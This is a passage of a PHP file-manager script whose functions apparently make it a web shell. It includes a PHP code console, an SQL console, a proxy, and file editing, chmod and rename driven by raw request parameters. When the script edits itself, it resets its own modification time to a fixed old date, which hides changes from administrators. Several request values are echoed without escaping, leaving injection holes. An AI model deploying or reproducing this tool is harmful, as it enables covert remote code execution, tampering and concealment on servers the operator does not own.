    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image:
url("data:image/png;base64,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");
}

.file {
    background-image:
url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3
{display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if
(isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' :
$_POST['sql'];
	$res_lng = 'sql';
} elseif
(isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' :
$_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File
manager').' -
'.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td
class="row2"
colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the
folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').'
'.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').'
'.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').'
'.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').'
'.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP
version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP
ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').'
'.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').'
xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP
'.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL
'.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input
name="fm_config[sql_server]"
value="'.$fm_config['sql_server'].'"
type="text"></td><td class="row2
whole">SQL server</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_username]"
value="'.$fm_config['sql_username'].'"
type="text"></td><td class="row2
whole">SQL user</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_password]"
value="'.$fm_config['sql_password'].'"
type="text"></td><td class="row2
whole">SQL password</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_db]"
value="'.$fm_config['sql_db'].'"
type="text"></td><td class="row2
whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').'
Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').'
phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').'
'.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after
editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').':
'.__('Restore file time after
editing'),'fm_restore_time').'
<tr><td class="row3"><a
href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset
settings').'</a></td><td
class="row3"><input type="submit"
value="'.__('Save').'"
name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th
colspan="2">'.__('Settings').' -
'.__('Authorization').'</th></tr>
<tr><td class="row1"><input
name="fm_login[authorize]" value="1"
'.($auth['authorize']?'checked':'').'
type="checkbox" id="auth"></td><td
class="row2 whole"><label
for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input
name="fm_login[login]"
value="'.$auth['login'].'"
type="text"></td><td class="row2
whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input
name="fm_login[password]"
value="'.$auth['password'].'"
type="text"></td><td class="row2
whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input
name="fm_login[cookie_name]"
value="'.$auth['cookie_name'].'"
type="text"></td><td class="row2
whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input
name="fm_login[days_authorization]"
value="'.$auth['days_authorization'].'"
type="text"></td><td class="row2
whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea
name="fm_login[script]" cols="35" rows="7"
class="textarea_input"
id="auth_script">'.$auth['script'].'</textarea></td><td
class="row2
whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
    <td
class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?>
<?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database:
'.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo
'</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' .
$path;?>"><?=__('Back')?></a>
		<form action="" method="POST"
name="console">
		<textarea name="<?=$res_lng?>" cols="80"
rows="10" style="width:
90%"><?=$res?></textarea><br/>
		<input type="reset"
value="<?=__('Reset')?>">
		<input type="submit"
value="<?=__('Submit')?>"
name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ?
$_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl"
title="'.__('Template').'" onchange="if
(this.value!=-1)
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
= this.options[selectedIndex].value; else
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
=\'\';" >'."\n";
	$select .= '<option value="-1">' .
__('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'"
'.((!empty($value)&&($value==$active))?'selected':'').'
>'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).'
'.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .=
__('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time']))
touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' .
$_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0'
cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' -
'.__('Edit').' -
'.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a
href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post"
action="<?=$editlink?>">
            <textarea name="newcontent"
id="newcontent" cols="45" rows="15"
style="width:99%"
spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save"
value="<?=__('Submit')?>">
            <input type="submit" name="cancel"
value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'],
fm_convert_rights($_REQUEST['rights_val']),
@$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'],
true);
    $link = $url_inc . '&rights=' .
$_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a
href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post"
action="<?=$link?>">
           <?=__('Rights').' -
'.$_REQUEST['rights']?> <input type="text"
name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox"
name="recursively" value="1">
<?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save"
value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif
(!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.')
{
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path .
$_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' .
$_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a
href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post"
action="<?=$link?>">
            <?=__('Rename')?>: <input
type="text" name="newname"
value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save"
value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
   
